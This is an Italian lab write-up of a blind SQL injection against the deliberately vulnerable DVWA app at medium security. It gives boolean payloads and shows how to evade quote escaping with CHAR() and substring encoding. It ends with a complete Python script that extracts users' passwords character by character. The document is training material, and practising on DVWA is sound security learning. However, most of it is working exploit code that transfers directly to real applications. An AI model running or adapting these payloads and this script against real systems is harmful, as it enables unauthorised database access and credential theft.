$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
Forzo la condizione a falsa
'1 AND 1=0 # '
Forzo la condizione a vera
'1 AND 1=1 # '
Verifico l'esistenza di una tabella
'1 AND (SELECT 1 from users LIMIT 1)=1 # '
Verifico l'esistenza di un utente nel database.
Dato che non posso utilizzare gli apicetti perché vengono tolti tramite la funzione mysqli_real_escape_string(), per andare a fare il controllo sul nome dell'utente devo andare ad utilizzare il fatto che una stringa altro non è che una sequenza di byte, dove ciascun byte può sempre e comunque essere interpretato come un numero ripreso dalla codifica ascii.
Query originale (non utilizzabile per via dei '
):
1' AND (select 'x' from users where first_name='admin' LIMIT 1) = 'x' #
Per ottenere la query utilizzabile prima mi calcolo i byte della stringa "admin"
a -> 01100001 -> 97 d -> 01100100 -> 100 m -> 01101101 -> 109 i -> 01101001 -> 105 n -> 01101110 -> 110
A questo punto ottengo la seguente codifica della condizione che non posso scrivere
first_name='admin' <---> substring(first_name, 1, 1) = CHAR(97) AND substring(first_name, 2, 1) = CHAR(100) AND substring(first_name, 3, 1) = CHAR(109) AND substring(first_name, 4, 1) = CHAR(105) AND substring(first_name, 5, 1) = CHAR(110)
Mettendo tutto assieme ottengo
'1 AND (select 1 from users where substring(first_name, 1, 1) = CHAR(97) AND substring(first_name, 2, 1) = CHAR(100) AND substring(first_name, 3, 1) = CHAR(109) AND substring(first_name, 4, 1) = CHAR(105) AND substring(first_name, 5, 1) = CHAR(110) LIMIT 1) = 1 # '
Codice per automatizzare l'exploitation
#!/usr/bin/env python3 import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning()) URL = "http://localhost/dvwa/vulnerabilities/sqli_blind/" custom_headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "security=medium; PHPSESSID=3tsk837kk0j907arne8jhunh0l" } proxies = { "http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080", } def encode_sql_condition(user): sql = "" for i, c in enumerate(user): sql += f"substring(first_name, {i+1}, 1) = CHAR({ord(c)}) AND " return sql[:-5] def get_password_length(user): MAX_LENGTH = 100 username_sql = encode_sql_condition(user) for i in range(1, MAX_LENGTH): sql_payload = f"1 AND (select 1 from users where {username_sql} and LENGTH(password) > {i}) = 1 #" data = f"id={sql_payload}&Submit=Submit" r = requests.post(URL, data=data, headers=custom_headers, proxies=proxies) if "MISSING" in r.text: return i def get_password(user): password_length = get_password_length(user) username_sql_code = encode_sql_condition(user) ALPHABET = "" ALPHABET += "0123456789" ALPHABET += "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ALPHABET += "abcdefghijklmnopqrstuvwxyz" password = "" for i in range(1, password_length + 1): for c in ALPHABET: sql_payload = f"1 AND (select substring(password, {i}, 1) from users where {username_sql_code}) = CHAR({ord(c)}) #" data = f"id={sql_payload}&Submit=Submit" r = requests.post(URL, data=data, headers=custom_headers, proxies=proxies) if not "MISSING" in r.text: password += c print(c, end="", flush=True) break return password if __name__ == "__main__": users = ["admin", "Gordon", "Hack", "Pablo", "Bob"] for user in users: password = get_password(user) print() print(f"La password di {user} è {password}")